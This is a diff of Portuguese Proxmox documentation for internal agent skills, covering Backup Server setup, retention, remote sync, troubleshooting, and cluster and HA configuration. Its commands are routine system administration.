2. **Backup primário:** PBS Node B (16TB HDD)
|
||||
3. **Backup secundário:** PBS Node A remote sync (12TB HDD)
|
||||
|
||||
**2 médias diferentes:**
|
||||
1. NVMe (VMs produção)
|
||||
2. HDD Enterprise (PBS datastores)
|
||||
|
||||
**1 off-site:**
|
||||
- **Opção A:** Hetzner Storage Box (rsync daily)
|
||||
- **Opção B:** S3-compatible (Wasabi/Backblaze)
|
||||
- **Opção C:** PBS em VPS externo
|
||||
|
||||
**RPO:** 1h (backups hourly se critical)
|
||||
**RTO:** 2-4h (restore + validação)
|
||||
|
||||
## PBS Advanced Features
|
||||
|
||||
### Verification Jobs
|
||||
```bash
|
||||
# Verificar integridade backups
|
||||
# Verificacao integridade
|
||||
proxmox-backup-manager verify-job create verify-main \
|
||||
--store main-store \
|
||||
--schedule "0 4 * * 0" # Domingo 04:00
|
||||
--store main-store --schedule "0 4 * * 0"
|
||||
```
|
||||
|
||||
### Namespace Organization
|
||||
```bash
|
||||
# Organizar backups por tipo
|
||||
proxmox-backup-manager namespace create main-store/production
|
||||
proxmox-backup-manager namespace create main-store/testing
|
||||
proxmox-backup-manager namespace create main-store/archived
|
||||
```
|
||||
## Estrategia 3-2-1
|
||||
|
||||
### Tape Backup (futuro)
|
||||
- PBS suporta LTO tape
|
||||
- Para compliance de longo prazo
|
||||
- Cold storage
|
||||
| Componente | Implementacao |
|
||||
|------------|---------------|
|
||||
| 3 copias | VMs producao + PBS Node B + PBS Node A sync |
|
||||
| 2 medias | NVMe (producao) + HDD Enterprise (PBS) |
|
||||
| 1 off-site | Hetzner Storage Box / S3 / PBS externo |
|
||||
| RPO | 1h (hourly se critico) |
|
||||
| RTO | 2-4h (restore + validacao) |
|
||||
|
||||
## Troubleshooting
|
||||
## Troubleshooting Rapido
|
||||
|
||||
### Backup failing: "no space"
|
||||
```bash
|
||||
# Verificar disk usage
|
||||
df -h /mnt/pbs-datastore
|
||||
| Problema | Solucao |
|
||||
|----------|---------|
|
||||
| "no space" | `garbage-collection start` + reduzir retention |
|
||||
| Remote sync falha | Verificar conectividade + auth + `journalctl -u proxmox-backup` |
|
||||
| Dedup ratio baixo | VMs encrypted nao deduplica; verificar chunk size |
|
||||
|
||||
# Run GC manual
|
||||
proxmox-backup-manager garbage-collection start main-store
|
||||
Detalhes completos em `references/pbs-avancado.md`.
|
||||
|
||||
# Ajustar retention (reduzir keeps)
|
||||
proxmox-backup-manager datastore update main-store --keep-daily 5
|
||||
```
|
||||
## Quando NAO Usar
|
||||
|
||||
### Remote sync not working
|
||||
```bash
|
||||
# Verificar conectividade
|
||||
ping <remote-pbs-ip>
|
||||
|
||||
# Testar autenticação
|
||||
curl -k https://<remote-pbs-ip>:8007/api2/json/access/ticket \
|
||||
-d "username=pve-backup@pbs&password=<password>"
|
||||
|
||||
# Logs
|
||||
journalctl -u proxmox-backup -f
|
||||
```
|
||||
|
||||
### Dedup ratio baixo (<1.2x)
|
||||
```bash
|
||||
# Verificar se VMs têm dados compressíveis
|
||||
# VMs com random data (encrypted) não deduplica bem
|
||||
|
||||
# Verificar chunk size (padrão 4MB adequado)
|
||||
proxmox-backup-manager datastore show main-store
|
||||
```
|
||||
- Para backups ad-hoc manuais (usar vzdump directo)
|
||||
- Para PBS ja configurado (usar troubleshooting guides)
|
||||
- Para restore procedures (criar skill especifica se necessario)
|
||||
|
||||
## References
|
||||
|
||||
- **NotebookLM:** 276ccdde-6b95-42a3-ad96-4e64d64c8d52
|
||||
- **PBS Docs:** https://pbs.proxmox.com/docs/
|
||||
- **Guia Hub:** Hub/05-Projectos/Cluster Descomplicar/Research/Proxmox-VE/Guia-Definitivo-Proxmox-Hetzner.md (Módulo 3)
|
||||
|
||||
---
|
||||
|
||||
**Versão:** 1.0.0 | **Autor:** Descomplicar® | **Data:** 2026-02-14
|
||||
- **Guia Hub:** Hub/05-Projectos/Cluster Descomplicar/Research/Proxmox-VE/Guia-Definitivo-Proxmox-Hetzner.md (Modulo 3)
|
||||
- **Setup detalhado:** `references/pbs-setup-completo.md`
|
||||
- **Avancado e troubleshooting:** `references/pbs-avancado.md`
|
||||
|
||||
## Metadata (Desk CRM Task #1712)
|
||||
|
||||
```
|
||||
Projeto: Cluster Proxmox Descomplicar (#65)
|
||||
Tarefa: Migração Infraestrutura (#1712)
|
||||
Projecto: Cluster Proxmox Descomplicar (#65)
|
||||
Tarefa: Migracao Infraestrutura (#1712)
|
||||
Tags: pbs, backup, retention, deduplication, sync
|
||||
Status: Research → Implementation
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
**/** @author Descomplicar® | @link descomplicar.pt | @copyright 2026 **/
|
||||
|
||||
---
|
||||
|
||||
## Quando NÃO Usar
|
||||
|
||||
- Para backups ad-hoc manuais (usar vzdump directo)
|
||||
- Para PBS já configurado (usar troubleshooting guides)
|
||||
- Para restore procedures (criar skill específica se necessário)
|
||||
|
||||
125
infraestrutura/skills/pbs-config/references/pbs-avancado.md
Normal file
125
infraestrutura/skills/pbs-config/references/pbs-avancado.md
Normal file
@@ -0,0 +1,125 @@
|
||||
# PBS Avancado - Funcionalidades e Troubleshooting
|
||||
|
||||
## Monitoring e Maintenance
|
||||
|
||||
### Verificar Deduplicacao
|
||||
```bash
|
||||
# Ver estatisticas datastore
|
||||
proxmox-backup-manager datastore status main-store
|
||||
|
||||
# Ratio deduplicacao (tipico 1.3-2.5x)
|
||||
```
|
||||
|
||||
### Garbage Collection
|
||||
```bash
|
||||
# Liberar espaco de backups removidos (retention)
|
||||
proxmox-backup-manager garbage-collection start main-store
|
||||
|
||||
# Agendar GC semanal (Domingo 02:00)
|
||||
# Via Web UI: Datastore -> main-store -> Prune & GC
|
||||
```
|
||||
|
||||
### Verificar Disk Usage
|
||||
```bash
|
||||
df -h /mnt/pbs-datastore
|
||||
|
||||
# ZFS
|
||||
zfs list -o name,used,available,refer rpool/pbs-datastore
|
||||
```
|
||||
|
||||
### Alertas Email
|
||||
```bash
|
||||
# Configurar notificacoes
|
||||
# Via Web UI: Configuration -> Notifications
|
||||
# SMTP server: mail.descomplicar.pt
|
||||
# Alertas: disk usage >80%, backup failures
|
||||
```
|
||||
|
||||
## PBS Advanced Features
|
||||
|
||||
### Verification Jobs
|
||||
```bash
|
||||
# Verificar integridade backups
|
||||
proxmox-backup-manager verify-job create verify-main \
|
||||
--store main-store \
|
||||
--schedule "0 4 * * 0" # Domingo 04:00
|
||||
```
|
||||
|
||||
### Namespace Organization
|
||||
```bash
|
||||
# Organizar backups por tipo
|
||||
proxmox-backup-manager namespace create main-store/production
|
||||
proxmox-backup-manager namespace create main-store/testing
|
||||
proxmox-backup-manager namespace create main-store/archived
|
||||
```
|
||||
|
||||
### Tape Backup (futuro)
|
||||
- PBS suporta LTO tape
|
||||
- Para compliance de longo prazo
|
||||
- Cold storage
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Backup failing: "no space"
|
||||
```bash
|
||||
# Verificar disk usage
|
||||
df -h /mnt/pbs-datastore
|
||||
|
||||
# Run GC manual
|
||||
proxmox-backup-manager garbage-collection start main-store
|
||||
|
||||
# Ajustar retention (reduzir keeps)
|
||||
proxmox-backup-manager datastore update main-store --keep-daily 5
|
||||
```
|
||||
|
||||
### Remote sync not working
|
||||
```bash
|
||||
# Verificar conectividade
|
||||
ping <remote-pbs-ip>
|
||||
|
||||
# Testar autenticacao
|
||||
curl -k https://<remote-pbs-ip>:8007/api2/json/access/ticket \
|
||||
-d "username=pve-backup@pbs&password=<password>"
|
||||
|
||||
# Logs
|
||||
journalctl -u proxmox-backup -f
|
||||
```
|
||||
|
||||
### Dedup ratio baixo (<1.2x)
|
||||
```bash
|
||||
# Verificar se VMs tem dados compressiveis
|
||||
# VMs com random data (encrypted) nao deduplica bem
|
||||
|
||||
# Verificar chunk size (padrao 4MB adequado)
|
||||
proxmox-backup-manager datastore show main-store
|
||||
```
|
||||
|
||||
## Estrategia 3-2-1 Backup
|
||||
|
||||
**Implementacao para Cluster Descomplicar:**
|
||||
|
||||
**3 copias:**
|
||||
1. **Original:** VMs em Node A (producao)
|
||||
2. **Backup primario:** PBS Node B (16TB HDD)
|
||||
3. **Backup secundario:** PBS Node A remote sync (12TB HDD)
|
||||
|
||||
**2 medias diferentes:**
|
||||
1. NVMe (VMs producao)
|
||||
2. HDD Enterprise (PBS datastores)
|
||||
|
||||
**1 off-site:**
|
||||
- **Opcao A:** Hetzner Storage Box (rsync daily)
|
||||
- **Opcao B:** S3-compatible (Wasabi/Backblaze)
|
||||
- **Opcao C:** PBS em VPS externo
|
||||
|
||||
**RPO:** 1h (backups hourly se critical)
|
||||
**RTO:** 2-4h (restore + validacao)
|
||||
|
||||
## Metricas Esperadas
|
||||
|
||||
| Metrica | Valor tipico |
|
||||
|---------|-------------|
|
||||
| Dedup ratio | 1.5-2.5x |
|
||||
| Compression ratio | 1.3-1.8x |
|
||||
| Backup speed | 100-300 MB/s |
|
||||
| Restore RTO | 2-4h (para VM 100GB) |
|
||||
@@ -0,0 +1,235 @@
|
||||
# PBS Setup Completo - Referencia Detalhada
|
||||
|
||||
## Fase 1: PBS Installation
|
||||
|
||||
### 1.1 Verificar se PBS ja esta instalado
|
||||
```bash
|
||||
dpkg -l | grep proxmox-backup-server
|
||||
|
||||
# Se nao instalado:
|
||||
apt update
|
||||
apt install proxmox-backup-server
|
||||
```
|
||||
|
||||
### 1.2 Aceder PBS Web UI
|
||||
```
|
||||
https://SERVER_IP:8007
|
||||
|
||||
User: root
|
||||
Password: (root password do servidor)
|
||||
```
|
||||
|
||||
### 1.3 Configuracao Inicial
|
||||
- Hostname
|
||||
- DNS servers
|
||||
- Time zone (Europe/Lisbon)
|
||||
|
||||
## Fase 2: Datastore Creation
|
||||
|
||||
### 2.1 Preparar Storage
|
||||
|
||||
**Para ZFS (recomendado):**
|
||||
```bash
|
||||
# Ja criado em /proxmox-setup:
|
||||
# zfs create rpool/pbs-datastore
|
||||
|
||||
# Verificar
|
||||
zfs list | grep pbs-datastore
|
||||
|
||||
# Optimizar para backup workload
|
||||
zfs set compression=lz4 rpool/pbs-datastore
|
||||
zfs set dedup=off rpool/pbs-datastore # Dedup no PBS, nao no ZFS
|
||||
zfs set recordsize=1M rpool/pbs-datastore # Large files
|
||||
```
|
||||
|
||||
**Para ext4 (HDD 16TB):**
|
||||
```bash
|
||||
# Particionar HDD
|
||||
parted /dev/sda mklabel gpt
|
||||
parted /dev/sda mkpart primary ext4 0% 100%
|
||||
|
||||
# Formatar
|
||||
mkfs.ext4 /dev/sda1
|
||||
|
||||
# Montar
|
||||
mkdir -p /mnt/pbs-datastore
|
||||
echo "/dev/sda1 /mnt/pbs-datastore ext4 defaults 0 2" >> /etc/fstab
|
||||
mount -a
|
||||
```
|
||||
|
||||
### 2.2 Criar Datastore via CLI
|
||||
```bash
|
||||
proxmox-backup-manager datastore create main-store /mnt/pbs-datastore
|
||||
|
||||
# Verificar
|
||||
proxmox-backup-manager datastore list
|
||||
```
|
||||
|
||||
### 2.3 Configurar Retention Policy
|
||||
```bash
|
||||
# 7 daily, 4 weekly, 6 monthly (padrao)
|
||||
proxmox-backup-manager datastore update main-store \
|
||||
--keep-daily 7 \
|
||||
--keep-weekly 4 \
|
||||
--keep-monthly 6 \
|
||||
--keep-yearly 3
|
||||
```
|
||||
|
||||
**Explicacao Retention:**
|
||||
- `keep-daily 7`: Mantem 7 backups diarios
|
||||
- `keep-weekly 4`: Mantem 4 backups semanais (1 por semana)
|
||||
- `keep-monthly 6`: Mantem 6 backups mensais (1 por mes)
|
||||
- `keep-yearly 3`: Mantem 3 backups anuais
|
||||
|
||||
**Gestao automatica:** PBS elimina backups antigos baseado nestas regras.
|
||||
|
||||
## Fase 3: PBS Users e Permissions
|
||||
|
||||
### 3.1 Criar User para PVE Backups
|
||||
```bash
|
||||
# User dedicado para Proxmox enviar backups
|
||||
proxmox-backup-manager user create pve-backup@pbs \
|
||||
--email admin@descomplicar.pt
|
||||
|
||||
# Password
|
||||
proxmox-backup-manager user update pve-backup@pbs --password
|
||||
|
||||
# Atribuir permissoes no datastore
|
||||
proxmox-backup-manager acl update /datastore/main-store \
|
||||
--auth-id pve-backup@pbs \
|
||||
--role DatastoreBackup
|
||||
```
|
||||
|
||||
### 3.2 Criar API Token (para automacao)
|
||||
```bash
|
||||
# Token para scripts/Terraform
|
||||
proxmox-backup-manager user token create pve-backup@pbs automation-token \
|
||||
--output-format json
|
||||
|
||||
# Guardar token de forma segura
|
||||
# Formato: pve-backup@pbs!automation-token=<secret>
|
||||
```
|
||||
|
||||
## Fase 4: Configure PVE to Use PBS
|
||||
|
||||
### 4.1 Adicionar PBS Storage em Proxmox VE
|
||||
|
||||
Via Web UI (Datacenter -> Storage -> Add -> Proxmox Backup Server):
|
||||
- ID: `pbs-main`
|
||||
- Server: `SERVER_IP` (ou hostname se cluster)
|
||||
- Datastore: `main-store`
|
||||
- Username: `pve-backup@pbs`
|
||||
- Password: (password criado)
|
||||
- Fingerprint: (auto-detect)
|
||||
|
||||
Via CLI:
|
||||
```bash
|
||||
pvesm add pbs pbs-main \
|
||||
--server SERVER_IP \
|
||||
--datastore main-store \
|
||||
--username pve-backup@pbs \
|
||||
--password <password>
|
||||
```
|
||||
|
||||
### 4.2 Verificar Conectividade
|
||||
```bash
|
||||
pvesm status | grep pbs-main
|
||||
```
|
||||
|
||||
## Fase 5: Backup Jobs (PVE)
|
||||
|
||||
### 5.1 Criar Backup Job para VMs Criticas
|
||||
|
||||
Via Web UI (Datacenter -> Backup -> Add):
|
||||
- Storage: `pbs-main`
|
||||
- Schedule: Daily 01:00
|
||||
- Mode: Snapshot (live backup)
|
||||
- Compression: zstd
|
||||
- Notification: email admin@descomplicar.pt
|
||||
|
||||
Via CLI:
|
||||
```bash
|
||||
# Backup diario de todas VMs as 01:00
|
||||
vzdump --storage pbs-main --mode snapshot --compress zstd --all 1
|
||||
```
|
||||
|
||||
### 5.2 Agendar via cron (alternativa)
|
||||
```bash
|
||||
# /etc/cron.d/pve-backup-critical
|
||||
0 1 * * * root vzdump --storage pbs-main --vmid 100,101,102 --mode snapshot --compress zstd
|
||||
```
|
||||
|
||||
### 5.3 Backup Selectivo
|
||||
```bash
|
||||
# VMs criticas: diario
|
||||
# VMs secundarias: 3x semana (Seg, Qua, Sex)
|
||||
0 1 * * 1,3,5 root vzdump --storage pbs-main --vmid 200,201,202 --mode snapshot --compress zstd
|
||||
```
|
||||
|
||||
## Fase 6: Remote Sync (2-Node Cluster)
|
||||
|
||||
**Setup para cluster:** PBS em Node B (primary) + PBS em Node A (secondary)
|
||||
|
||||
### 6.1 Configurar Remote em PBS Secondary (Node A)
|
||||
|
||||
Via Web UI PBS Node A (Configuration -> Remote):
|
||||
- Name: `pbs-node-b`
|
||||
- Host: `<node-b-ip>` ou `cluster.descomplicar.pt`
|
||||
- Port: 8007
|
||||
- Auth ID: `pve-backup@pbs`
|
||||
- Password: (password)
|
||||
- Fingerprint: (auto-detect)
|
||||
|
||||
### 6.2 Criar Sync Job
|
||||
|
||||
Via Web UI PBS Node A (Configuration -> Sync Jobs -> Add):
|
||||
- Remote: `pbs-node-b`
|
||||
- Remote Datastore: `main-store`
|
||||
- Local Datastore: `secondary-store`
|
||||
- Schedule: Daily 03:00 (apos backups)
|
||||
- Remove vanished: Yes (sync deletes)
|
||||
|
||||
Via CLI em Node A:
|
||||
```bash
|
||||
proxmox-backup-manager sync-job create sync-from-node-b \
|
||||
--remote pbs-node-b \
|
||||
--remote-store main-store \
|
||||
--store secondary-store \
|
||||
--schedule "0 3 * * *" \
|
||||
--remove-vanished true
|
||||
```
|
||||
|
||||
### 6.3 Testar Sync Manual
|
||||
```bash
|
||||
proxmox-backup-manager sync-job run sync-from-node-b
|
||||
```
|
||||
|
||||
## Fase 7: Restore Procedures (Testing)
|
||||
|
||||
### 7.1 Restore VM Teste
|
||||
|
||||
Via Web UI PVE:
|
||||
- Storage -> pbs-main -> Backups
|
||||
- Seleccionar VM backup
|
||||
- Restore -> New VM ID (999)
|
||||
- Start apos restore
|
||||
|
||||
### 7.2 Restore via CLI
|
||||
```bash
|
||||
# Listar backups disponiveis
|
||||
pbs-client list --repository pve-backup@pbs@SERVER_IP:main-store
|
||||
|
||||
# Restore VM 100
|
||||
qmrestore pbs-main:backup/vm/100/YYYY-MM-DD... 999
|
||||
```
|
||||
|
||||
### 7.3 Validar Restore
|
||||
```bash
|
||||
qm start 999
|
||||
# Verificar VM boota correctamente
|
||||
# Teste servico critical
|
||||
# Shutdown e remover VM teste
|
||||
qm stop 999 && qm destroy 999
|
||||
```
|
||||
|
||||
**Critico:** Testar restore ANTES de considerar backup strategy operacional.
|
||||
@@ -1,16 +1,7 @@
|
||||
---
|
||||
name: proxmox-cluster
|
||||
description: Formar cluster Proxmox 2+ nodes com Corosync e Quorum. Use when user mentions "create cluster", "proxmox cluster", "pvecm", "join node", "cluster formation".
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 1.0.0
|
||||
quality_score: 75
|
||||
user_invocable: true
|
||||
desk_task: 1712
|
||||
allowed-tools: Task, Read, Bash
|
||||
dependencies:
|
||||
- ssh-unified
|
||||
- notebooklm
|
||||
- proxmox-setup
|
||||
description: Formação de cluster Proxmox com 2+ nodes — configuração de Corosync, Quorum e preparação para High Availability.
|
||||
disable-model-invocation: true
|
||||
---
|
||||
|
||||
# Proxmox Cluster
|
||||
@@ -475,4 +466,23 @@ pvecm status # Em ambos nodes, status diferente
|
||||
|
||||
---
|
||||
|
||||
## Contexto NotebookLM
|
||||
|
||||
ANTES de executar, consultar notebooks para contexto especializado:
|
||||
|
||||
| Notebook | ID | Consultar quando |
|
||||
|----------|-----|-----------------|
|
||||
| Proxmox | 276ccdde-6b95-42a3-ad96-4e64d64c8d52 | Sempre |
|
||||
|
||||
```
|
||||
mcp__notebooklm__notebook_query({
|
||||
notebook_id: "276ccdde-6b95-42a3-ad96-4e64d64c8d52",
|
||||
query: "<adaptar ao contexto de cluster e corosync>"
|
||||
})
|
||||
```
|
||||
|
||||
Integrar insights do NotebookLM nas recomendações e decisões.
|
||||
|
||||
---
|
||||
|
||||
**/** @author Descomplicar® | @copyright 2026 **/
|
||||
|
||||
@@ -1,26 +1,16 @@
|
||||
---
|
||||
name: proxmox-ha
|
||||
description: Configurar High Availability (HA) em cluster Proxmox - resource groups, fencing, failover automático. Use when user mentions "configure ha", "proxmox ha", "high availability", "failover", "ha manager".
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 1.0.0
|
||||
quality_score: 75
|
||||
user_invocable: true
|
||||
desk_task: 1712
|
||||
allowed-tools: Task, Read, Bash
|
||||
dependencies:
|
||||
- ssh-unified
|
||||
- notebooklm
|
||||
- proxmox-cluster
|
||||
description: Configuracao de High Availability em cluster Proxmox -- HA Manager, fencing devices (STONITH) e failover automatico para VMs criticas.
|
||||
---
|
||||
|
||||
# Proxmox HA
|
||||
|
||||
Configurar High Availability (HA) em cluster Proxmox com HA Manager, fencing devices e failover automático para VMs críticas.
|
||||
Configurar High Availability (HA) em cluster Proxmox com HA Manager, fencing devices e failover automatico para VMs criticas.
|
||||
|
||||
## Quando Usar
|
||||
|
||||
- Configurar HA após cluster formation (/proxmox-cluster)
|
||||
- Proteger VMs críticas com failover automático
|
||||
- Configurar HA apos cluster formation (/proxmox-cluster)
|
||||
- Proteger VMs criticas com failover automatico
|
||||
- Configurar fencing devices (STONITH)
|
||||
- Definir HA groups por criticidade
|
||||
- Testar failover procedures
|
||||
@@ -31,137 +21,50 @@ Configurar High Availability (HA) em cluster Proxmox com HA Manager, fencing dev
|
||||
/proxmox-ha configure --critical-vms <vm-ids> [--fencing watchdog|ipmi] [--max-relocate 2]
|
||||
```
|
||||
|
||||
## Exemplos
|
||||
|
||||
```bash
|
||||
# HA para VMs críticas com watchdog
|
||||
/proxmox-ha configure --critical-vms 200,300 --fencing watchdog
|
||||
|
||||
# HA com IPMI fencing (hardware)
|
||||
/proxmox-ha configure --critical-vms 200,300,301 --fencing ipmi --max-relocate 1
|
||||
|
||||
# Apenas testar failover (sem activar HA)
|
||||
/proxmox-ha test --vm 999
|
||||
```
|
||||
|
||||
## Knowledge Sources
|
||||
|
||||
### NotebookLM
|
||||
```bash
|
||||
mcp__notebooklm__notebook_query \
|
||||
notebook_id:"276ccdde-6b95-42a3-ad96-4e64d64c8d52" \
|
||||
query:"proxmox ha high availability fencing stonith failover"
|
||||
```
|
||||
|
||||
## Workflow Completo
|
||||
---
|
||||
|
||||
### Pre-Requisites
|
||||
## Pre-Requisitos
|
||||
|
||||
**1. Cluster Formado**
|
||||
**1. Cluster formado:**
|
||||
```bash
|
||||
# Verificar cluster healthy
|
||||
pvecm status
|
||||
|
||||
# Expected:
|
||||
# Quorum: Active
|
||||
# Nodes: 2+ online
|
||||
# Expected: Quorum: Active, Nodes: 2+ online
|
||||
```
|
||||
|
||||
**2. Shared Storage ou Replication**
|
||||
|
||||
**Opções:**
|
||||
**2. Shared Storage ou Replication:**
|
||||
- **Shared storage** (NFS, Ceph): HA ideal (failover <30s)
|
||||
- **No shared storage**: Requer ZFS replication ou aceita boot time failover (~2-5min)
|
||||
- **Sem shared storage**: ZFS replication ou boot time failover (~2-5min)
|
||||
|
||||
**Para Cluster Descomplicar (sem shared storage):**
|
||||
```bash
|
||||
# Aceitar boot-time failover
|
||||
# OU configurar ZFS replication:
|
||||
**3. Fencing device configurado** - sem fencing = risco split-brain
|
||||
|
||||
# Node A:
|
||||
zfs snapshot rpool/vm-disks@ha-sync
|
||||
zfs send rpool/vm-disks@ha-sync | ssh root@<node-b-ip> zfs receive rpool/vm-disks-replica
|
||||
---
|
||||
|
||||
# Automatizar com pvesr (Proxmox Storage Replication)
|
||||
```
|
||||
|
||||
**3. Fencing Device Configurado**
|
||||
|
||||
**CRITICAL:** Sem fencing = risco split-brain
|
||||
## Workflow Completo
|
||||
|
||||
### Fase 1: Fencing Configuration
|
||||
|
||||
**1.1 Opção A: Watchdog (Software Fencing)**
|
||||
Detalhes completos das 3 opcoes (Watchdog, IPMI, Network) em: `references/fencing-configuration.md`
|
||||
|
||||
**Mais simples, menos confiável:**
|
||||
```bash
|
||||
# Instalar watchdog em ambos nodes
|
||||
apt install watchdog
|
||||
|
||||
# Load kernel module
|
||||
modprobe softdog
|
||||
|
||||
# Auto-load on boot
|
||||
echo "softdog" >> /etc/modules
|
||||
|
||||
# Configurar HA Manager para usar watchdog
|
||||
# (automático quando HA activado)
|
||||
```
|
||||
|
||||
**1.2 Opção B: IPMI/iLO (Hardware Fencing)**
|
||||
|
||||
**Mais confiável, requer IPMI:**
|
||||
```bash
|
||||
# Verificar IPMI disponível
|
||||
ipmitool lan print
|
||||
|
||||
# Configurar IPMI credentials (via BIOS ou ipmitool)
|
||||
|
||||
# Configurar em Proxmox (Web UI):
|
||||
# Datacenter → Fencing → Add
|
||||
# Type: IPMI
|
||||
# IP: <node-ipmi-ip>
|
||||
# Username: admin
|
||||
# Password: <ipmi-pass>
|
||||
|
||||
# Test
|
||||
fence_ipmilan -a <node-ipmi-ip> -l admin -p <pass> -o status
|
||||
```
|
||||
|
||||
**1.3 Opção C: Network Fencing (Menos Confiável)**
|
||||
|
||||
**Usar apenas se IPMI não disponível:**
|
||||
```bash
|
||||
# SSH-based fencing (perigoso)
|
||||
# Depende de network estar up
|
||||
# Não recomendado para production
|
||||
```
|
||||
|
||||
**Recomendação Cluster Descomplicar:**
|
||||
- **Início:** Watchdog (simple, funcional)
|
||||
- **Produção:** IPMI se hardware suporta
|
||||
- **Evitar:** Network fencing
|
||||
**Resumo:** Watchdog para inicio, IPMI para producao, evitar network fencing.
|
||||
|
||||
### Fase 2: HA Manager Configuration
|
||||
|
||||
**2.1 Enable HA Manager**
|
||||
```bash
|
||||
# Automático quando cluster formado
|
||||
# Verificar status
|
||||
ha-manager status
|
||||
|
||||
# Expected:
|
||||
# quorum: OK
|
||||
# master: <node-name> (elected)
|
||||
# lrm: active
|
||||
# Expected: quorum: OK, master: <node-name> (elected), lrm: active
|
||||
```
|
||||
|
||||
**2.2 Criar HA Groups (Opcional)**
|
||||
|
||||
**HA Groups por criticidade:**
|
||||
**Criar HA Groups por criticidade:**
|
||||
```bash
|
||||
# Via Web UI: Datacenter → HA → Groups → Add
|
||||
|
||||
# Critical (priority 100)
|
||||
ha-manager groupadd critical \
|
||||
--nodes "server.descomplicar.pt:100,cluster.descomplicar.pt:100"
|
||||
@@ -175,23 +78,8 @@ ha-manager groupadd low \
|
||||
--nodes "server.descomplicar.pt:10,cluster.descomplicar.pt:10"
|
||||
```
|
||||
|
||||
**Priority explicação:**
|
||||
- Higher priority = preferência para correr nesse node
|
||||
- Usado para balancear carga
|
||||
- Em failover, ignora priority (vai para node disponível)
|
||||
### Fase 3: Adicionar VMs a HA
|
||||
|
||||
### Fase 3: Add VMs to HA
|
||||
|
||||
**3.1 Adicionar VMs Críticas**
|
||||
|
||||
**Via Web UI:**
|
||||
- Seleccionar VM → More → Manage HA
|
||||
- Enable HA
|
||||
- Group: critical
|
||||
- Max restart: 3
|
||||
- Max relocate: 2
|
||||
|
||||
**Via CLI:**
|
||||
```bash
|
||||
# VM 200 (EasyPanel Docker)
|
||||
ha-manager add vm:200 \
|
||||
@@ -208,317 +96,79 @@ ha-manager add vm:300 \
|
||||
--state started
|
||||
```
|
||||
|
||||
**Parâmetros:**
|
||||
**Parametros:**
|
||||
- `max_restart`: Tentativas restart no mesmo node antes de relocate
|
||||
- `max_relocate`: Máximo relocates entre nodes
|
||||
- `state started`: HA Manager garante VM está sempre started
|
||||
- `max_relocate`: Maximo relocates entre nodes
|
||||
- `state started`: HA Manager garante VM esta sempre started
|
||||
|
||||
**3.2 Verificar HA Resources**
|
||||
```bash
|
||||
# Verificar
|
||||
ha-manager status
|
||||
|
||||
# Should show:
|
||||
# vm:200: started on <node-name>
|
||||
# vm:300: started on <node-name>
|
||||
```
|
||||
|
||||
### Fase 4: Failover Testing
|
||||
|
||||
**4.1 Criar VM Teste HA**
|
||||
```bash
|
||||
# VM 999 para teste (não production)
|
||||
qm create 999 --name ha-test --memory 512 --cores 1
|
||||
Procedimentos detalhados de teste (shutdown clean, node crash simulado, live migration) e tuning de policies em: `references/failover-testing.md`
|
||||
|
||||
# Adicionar a HA
|
||||
ha-manager add vm:999 --state started
|
||||
```
|
||||
### Fase 5: Production Rollout
|
||||
|
||||
**4.2 Testar Failover Automático**
|
||||
Abordagem faseada (low -> medium -> critical) com monitorizacao de 30 dias.
|
||||
|
||||
**Teste 1: Shutdown Clean**
|
||||
```bash
|
||||
# Node onde VM 999 corre:
|
||||
qm shutdown 999
|
||||
Documentar runbook em: `06-Operacoes/Procedimentos/D7-Tecnologia/PROC-HA-Failover.md`
|
||||
|
||||
# HA Manager deve:
|
||||
# 1. Detectar shutdown (~30s)
|
||||
# 2. Tentar restart no mesmo node (max_restart vezes)
|
||||
# 3. Se continua down → relocate para outro node
|
||||
|
||||
# Monitorizar
|
||||
watch -n 1 'ha-manager status | grep vm:999'
|
||||
```
|
||||
|
||||
**Teste 2: Node Crash (Simulado)**
|
||||
```bash
|
||||
# CUIDADO: Apenas em teste, não production
|
||||
|
||||
# Shutdown abrupto do node onde VM 999 corre
|
||||
# (simula hardware failure)
|
||||
echo b > /proc/sysrq-trigger # Reboot forçado
|
||||
|
||||
# Outro node deve:
|
||||
# 1. Detectar node down via quorum (~1min)
|
||||
# 2. Fence node (via watchdog/IPMI)
|
||||
# 3. Boot VM 999 no node surviving
|
||||
|
||||
# Timeline esperado:
|
||||
# - 0s: Node crash
|
||||
# - ~60s: Quorum detecta node missing
|
||||
# - ~90s: Fencing executado
|
||||
# - ~120s: VM boota em outro node
|
||||
|
||||
# Total downtime: ~2-3min (sem shared storage)
|
||||
# Com shared storage: ~30-60s
|
||||
```
|
||||
|
||||
**4.3 Testar Live Migration Manual**
|
||||
```bash
|
||||
# Migration manual (com VM running)
|
||||
qm migrate 999 <target-node-name> --online
|
||||
|
||||
# Com shared storage: <10s downtime
|
||||
# Sem shared storage: copia disk = lento (GB/min)
|
||||
|
||||
# Para production VMs:
|
||||
# - Fazer em janela manutenção se sem shared storage
|
||||
# - Live migration OK se shared storage
|
||||
```
|
||||
|
||||
### Fase 5: HA Policies & Tunning
|
||||
|
||||
**5.1 Configurar Shutdown Policy**
|
||||
```bash
|
||||
# Default: conditional (HA Manager decide)
|
||||
# Opções: conditional, freeze, failover, migrate
|
||||
|
||||
# Para VMs críticas que NÃO devem migrar durante manutenção:
|
||||
ha-manager set vm:200 --state freeze
|
||||
|
||||
# Para forçar migrate durante manutenção:
|
||||
ha-manager set vm:200 --state migrate
|
||||
```
|
||||
|
||||
**5.2 Maintenance Mode**
|
||||
```bash
|
||||
# Colocar node em maintenance (não recebe novos VMs HA)
|
||||
ha-manager set-node-state <node-name> maintenance
|
||||
|
||||
# VMs HA existentes:
|
||||
# - Não migram automaticamente
|
||||
# - Mas não recebem novas em failover
|
||||
|
||||
# Sair de maintenance
|
||||
ha-manager set-node-state <node-name> active
|
||||
```
|
||||
|
||||
**5.3 Configurar Priorities (Load Balance)**
|
||||
```bash
|
||||
# Preferência de nodes por VM
|
||||
|
||||
# VM 200: Preferir Node B
|
||||
ha-manager set vm:200 --group critical --restricted
|
||||
|
||||
# restricted: VM só corre nos nodes do grupo
|
||||
# unrestricted: VM pode correr em qualquer node (fallback)
|
||||
```
|
||||
|
||||
### Fase 6: Monitoring & Alerts
|
||||
|
||||
**6.1 HA Manager Logs**
|
||||
```bash
|
||||
# Logs HA Manager
|
||||
journalctl -u pve-ha-lrm -f # Local Resource Manager
|
||||
journalctl -u pve-ha-crm -f # Cluster Resource Manager
|
||||
|
